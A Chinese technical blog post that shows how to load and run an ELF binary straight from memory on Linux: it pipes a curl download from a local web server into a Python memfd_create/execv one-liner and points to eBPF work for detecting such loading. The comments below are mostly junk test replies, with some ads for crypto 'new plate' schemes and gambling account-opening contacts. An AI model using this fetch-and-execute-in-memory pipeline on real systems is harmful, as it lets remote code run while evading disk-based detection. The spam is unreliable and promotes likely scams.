首页 日常杂记 正文

从内存中直接加载执行ELF - scz

admin 2022-10-19 PM 15930℃ 124条

参看

Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html

作者给了一个完整示例，从内存中直接加载执行ELF。bluerust推荐过memfd_create，但我现在很少用C编程，未实践过。Pat H给了Python版示例，演示效果极佳。

假设WEB服务在此

cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080

在客户端验证WEB服务正常

curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1

在客户端确认memfd_create系统调用号是319

$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319

在客户端用curl远程拉id回来，不写硬盘，直接执行

curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc            = ctypes.CDLL( "libc.so.6" )
memfd_create    = 319
fd              = libc.syscall( memfd_create, "", 0 )
data            = sys.stdin.buffer.read()
os.write( fd, data )
path            = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'

参看

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop

Pat H用eBPF实现对shell管道操作的监控，这是个C项目，应该可以改写成BCC项目。

标签: scz

非特殊说明，本博所有文章均为博主原创。

上一篇 用curl向外传送文件 - scz
下一篇 okhttp连接池的bug导致网络连接慢甚至出现阻塞的情况

评论啦~



已有 124 条评论


  1. 1
    1

    1

    回复 2023-05-19 19:30
    1. 1
      1

      1

      回复 2023-05-19 21:00
      1. 1
        1

        1

        回复 2023-05-19 21:21
        1. 1
          1

          1

          回复 2023-05-22 13:31
        2. 1
          1

          1

          回复 2023-05-22 13:31
        3. 1
          1

          1

          回复 2023-05-22 13:31
        4. 1
          1

          1

          回复 2023-05-22 13:31
        5. 1
          1

          1

          回复 2023-05-22 13:31
        6. 1
          1

          1

          回复 2023-05-22 13:32
        7. 1
          1

          1

          回复 2023-05-22 13:32
        8. 1
          1

          1

          回复 2023-05-22 13:32
        9. 1
          1

          1

          回复 2023-05-22 13:33
        10. 1
          1

          1

          回复 2023-05-22 13:33
        11. 1
          1

          1

          回复 2023-05-22 13:33
        12. 1
          1

          1

          回复 2023-05-22 13:33
      2. 1
        1

        1

        回复 2023-05-19 21:22
      3. 1
        1

        1

        回复 2023-05-19 21:22
      4. 1
        1

        1

        回复 2023-05-19 21:22
      5. 1
        1

        1

        回复 2023-05-19 21:22
      6. 1
        1

        555

        回复 2023-05-22 10:21
      7. 1
        1

        1

        回复 2023-05-22 13:29
      8. 1
        1

        1

        回复 2023-05-22 13:30
      9. 1
        1

        1

        回复 2023-05-22 13:30
      10. 1
        1

        1

        回复 2023-05-22 13:30
      11. 1
        1

        1

        回复 2023-05-22 13:31
      12. 1
        1

        1

        回复 2023-05-22 13:31
      13. 1
        1

        1

        回复 2023-05-22 13:31
      14. 1
        1

        1

        回复 2023-05-22 13:31
      15. 1
        1

        555

        回复 2025-03-24 18:53
      16. 1
        1

        555

        回复 2025-03-26 17:25
      17. 1
        1

        555

        回复 2025-04-28 21:58
      18. 1
        1

        555

        回复 2025-05-29 15:01
      19. 1
        1

        555

        回复 2025-06-23 15:07
      20. 1
        1

        555

        回复 2025-07-03 14:20
      21. 1
        1

        555

        回复 2025-07-18 13:52
      22. 1
        1

        555

        回复 2025-08-11 17:38
      23. 1
        1

        555

        回复 2025-09-26 13:47
    2. 1
      1

      1

      回复 2023-05-19 21:02
    3. 1
      1

      1

      回复 2023-05-19 21:03
    4. 1
      1

      1

      回复 2023-05-19 21:03
    5. 1
      1

      1

      回复 2023-05-19 21:03
    6. 1
      1

      1

      回复 2023-05-19 21:03
    7. 1
      1

      555

      回复 2023-05-19 21:49
    8. 1
      1

      1

      回复 2023-05-22 09:52
    9. 1
      1

      1

      回复 2023-05-22 13:27
    10. 1
      1

      1

      回复 2025-05-29 14:51
    11. 1
      1

      1

      回复 2025-07-18 13:33
    12. 1
      1

      1

      回复 2025-08-11 17:03
    13. 1
      1

      1

      回复 2025-09-26 13:25
  2. 1
    1

    1

    回复 2023-05-19 20:19
    1. 1
      1

      555

      回复 2023-05-19 20:59
  3. 1
    1

    1

    回复 2023-05-19 20:19
  4. 1
    1

    1

    回复 2023-05-19 20:42
  5. 1
    1

    555

    回复 2023-05-19 21:32
    1. 1
      1

      1

      回复 2023-05-20 00:23
    2. 1
      1

      1

      回复 2023-05-20 00:23
    3. 1
      1

      1

      回复 2023-05-20 00:23
    4. 1
      1

      1

      回复 2023-05-20 00:24
    5. 1
      1

      1

      回复 2023-05-20 00:24
    6. 1
      1

      1

      回复 2023-05-20 00:24
    7. 1
      1

      1

      回复 2023-05-20 00:24
    8. 1
      1

      1

      回复 2023-05-20 00:24
    9. 1
      1

      1

      回复 2023-05-20 00:25
    10. 1
      1

      1

      回复 2023-05-20 00:25
    11. 1
      1

      1

      回复 2023-05-20 00:25
    12. 1
      1

      1

      回复 2023-05-20 00:25
    13. 1
      1

      1

      回复 2023-05-20 00:25
    14. 1
      1

      555

      回复 2023-05-20 00:53
  6. 1
    1

    1

    回复 2023-05-22 09:40
  7. 1
    1

    555

    回复 2023-05-22 10:07
    1. 1
      1

      1

      回复 2023-05-22 12:09
    2. 1
      1

      1

      回复 2023-05-22 12:09
    3. 1
      1

      1

      回复 2023-05-22 12:09
    4. 1
      1

      555

      回复 2023-05-22 14:30
  8. 1
    1

    1

    回复 2023-05-22 12:07
  9. 1
    1

    1

    回复 2023-05-22 12:07
    1. 1
      1

      1

      回复 2023-05-22 12:12
    2. 1
      1

      1

      回复 2023-05-22 12:12
    3. 1
      1

      1

      回复 2023-05-22 12:12
  10. 1
    1

    1

    回复 2023-05-22 12:11
  11. 1
    1

    1

    回复 2023-05-22 12:11
  12. 1
    1

    555

    回复 2023-05-22 14:49
  13. 1
    1

    555

    回复 2023-05-22 14:54
  14. 1
    1

    555

    回复 2023-07-07 15:12
  15. rpreeedkig
    rpreeedkig

    每次看到你的文章，我都觉得时间过得好快。http://www.bjliye.com

    回复 2024-11-06 22:55
  16. wdrfedoopg
    wdrfedoopg

    你的才华横溢，让人敬佩。http://www.xfuda.com

    回复 2024-11-10 01:42
  17. jxzxjuhfvu
    jxzxjuhfvu

    看到你的文章，我仿佛感受到了生活中的美好。 https://www.yonboz.com/video/54579.html

    回复 2024-12-03 14:04
  18. evwxxyxqqb
    evwxxyxqqb

    你的文章充满了智慧，让人敬佩。 https://www.yonboz.com/video/41591.html

    回复 2024-12-03 16:40
  19. vdtsreeduh
    vdtsreeduh

    看到你的文章，我仿佛感受到了生活中的美好。 https://www.4006400989.com/qyvideo/23580.html

    回复 2024-12-08 13:26
  20. rwxjlkjijr
    rwxjlkjijr

    文章中的实用建议和操作指南，让读者受益匪浅，值得珍藏。

    回复 2025-02-28 16:22
  21. wrxfxorlxs
    wrxfxorlxs

    批判锋芒犀利，直指问题症结所在。

    回复 2025-02-28 20:32
  22. npymtgnujb
    npymtgnujb

    对传统与现代的融合思考颇具启发性。

    回复 2025-03-03 04:58
  23. hsnnvomzvb
    hsnnvomzvb

    字里行间流露出真挚的情感，让人感同身受，共鸣不已。

    回复 2025-03-04 15:33
  24. cxvzkrrsyq
    cxvzkrrsyq

    这篇文章不错！

    回复 2025-03-07 00:22
  25. 1
    1

    1

    回复 2025-03-24 18:51
  26. 1
    1

    555

    回复 2025-03-24 18:53
  27. 1
    1

    1

    回复 2025-03-24 19:24
  28. 1
    1

    1

    回复 2025-03-26 17:24
  29. 1
    1

    1

    回复 2025-03-26 17:57
  30. 1
    1

    1

    回复 2025-03-26 17:57
  31. 1
    1

    1

    回复 2025-04-28 21:56
  32. 1
    1

    1

    回复 2025-04-28 22:29
  33. 1
    1

    1

    回复 2025-05-29 14:44
  34. 1
    1

    555

    回复 2025-05-29 14:57
  35. 1
    1

    1

    回复 2025-06-23 15:05
  36. 1
    1

    1

    回复 2025-06-23 15:40
  37. 1
    1

    1

    回复 2025-07-03 14:18
  38. 1
    1

    555

    回复 2025-07-03 14:20
  39. 1
    1

    1

    回复 2025-07-03 14:55
  40. 1
    1

    1

    回复 2025-07-03 14:55
  41. 1
    1

    1

    回复 2025-07-18 13:17
  42. 1
    1

    555

    回复 2025-07-18 14:08
  43. 1
    1

    1

    回复 2025-08-11 16:48
  44. 1
    1

    555

    回复 2025-08-11 17:24
  45. 1
    1

    1

    回复 2025-09-26 13:03
  46. zgmhpgneat
    zgmhpgneat

    新盘新项目，不再等待，现在就是最佳上车机会！coinsrore.com

    回复 2025-10-05 04:58
  47. nslzqiwgyj
    nslzqiwgyj

    新车即将上线 真正的项目，期待你的参与

    回复 2025-10-05 07:45
  48. ogfuvctirx
    ogfuvctirx

    2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
    新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
    新车首发，新的一年，只带想赚米的人coinsrore.com
    新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
    做了几十年的项目 我总结了最好的一个盘（纯干货）coinsrore.com
    新车上路，只带前10个人coinsrore.com
    新盘首开 新盘首开 征召客户！！！coinsrore.com
    新项目准备上线，寻找志同道合的合作伙伴coinsrore.com
    新车即将上线 真正的项目，期待你的参与coinsrore.com
    新盘新项目，不再等待，现在就是最佳上车机会！coinsrore.com
    新盘新盘 这个月刚上新盘 新车第一个吃螃蟹！coinsrore.com

    回复 2025-10-07 11:01
  49. yszwaywrwu
    yszwaywrwu

    2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
    新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
    新车首发，新的一年，只带想赚米的人coinsrore.com
    新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
    做了几十年的项目 我总结了最好的一个盘（纯干货）coinsrore.com
    新车上路，只带前10个人coinsrore.com
    新盘首开 新盘首开 征召客户！！！coinsrore.com
    新项目准备上线，寻找志同道合的合作伙伴coinsrore.com
    新车即将上线 真正的项目，期待你的参与coinsrore.com
    新盘新项目，不再等待，现在就是最佳上车机会！coinsrore.com
    新盘新盘 这个月刚上新盘 新车第一个吃螃蟹！coinsrore.com

    回复 2025-10-07 11:36
  50. 鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099
    鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099

    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099
    华纳公司合作开户所需材料？电话号码15587291507 微信STS5099

    回复 2025-10-31 00:22
  51. 鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099
    鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099

    华纳东方明珠客服电话是多少？（▲18288362750?《?微信STS5099? 】
    如何联系华纳东方明珠客服？（▲18288362750?《?微信STS5099? 】
    华纳东方明珠官方客服联系方式？（▲18288362750?《?微信STS5099?
    华纳东方明珠客服热线？（▲18288362750?《?微信STS5099?
    华纳东方明珠24小时客服电话？（▲18288362750?《?微信STS5099? 】
    华纳东方明珠官方客服在线咨询？（▲18288362750?《?微信STS5099?

    回复 2025-11-02 15:48
  52. 鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099
    鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099

    华纳东方明珠客服电话是多少？（??155--8729--1507?《?薇-STS5099】【?扣6011643?】
    华纳东方明珠开户专线联系方式？（??155--8729--1507?《?薇-STS5099】【?扣6011643?】

    回复 2025-11-03 00:36
  53. 鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099
    鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099

    新盛客服电话是多少？（?183-8890-9465—《?薇-STS5099】【
    新盛开户专线联系方式？（?183-8890--9465—《?薇-STS5099】【?扣6011643??】
    新盛客服开户电话全攻略，让娱乐更顺畅！（?183-8890--9465—《?薇-STS5099】客服开户流程，华纳新盛客服开户流程图（?183-8890--9465—《?薇-STS5099】

    回复 2025-11-07 16:11
  54. 鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099
    鍗庣撼鍏徃鍚堜綔寮€鎴锋墍闇€鏉愭枡锛熺數璇濆彿鐮?5587291507 寰俊STS5099

    果博东方客服开户联系方式【182-8836-2750—】?薇- cxs20250806】
    果博东方公司客服电话联系方式【182-8836-2750—】?薇- cxs20250806】
    果博东方开户流程【182-8836-2750—】?薇- cxs20250806】
    果博东方客服怎么联系【182-8836-2750—】?薇- cxs20250806】

    回复 2025-11-08 16:43

栏目分类

标签云

大罕 scz typecho typecho 1.1 蚂蚁环游 yuange typecho 1.2 算法 GDB okhttpclient 马尔可夫概率 okhttp

友情链接申请

u11u.com博客 36区技术博客
© 2025 天使漫步技术博客.个人博客 Poweed by Typecho Theme by Echo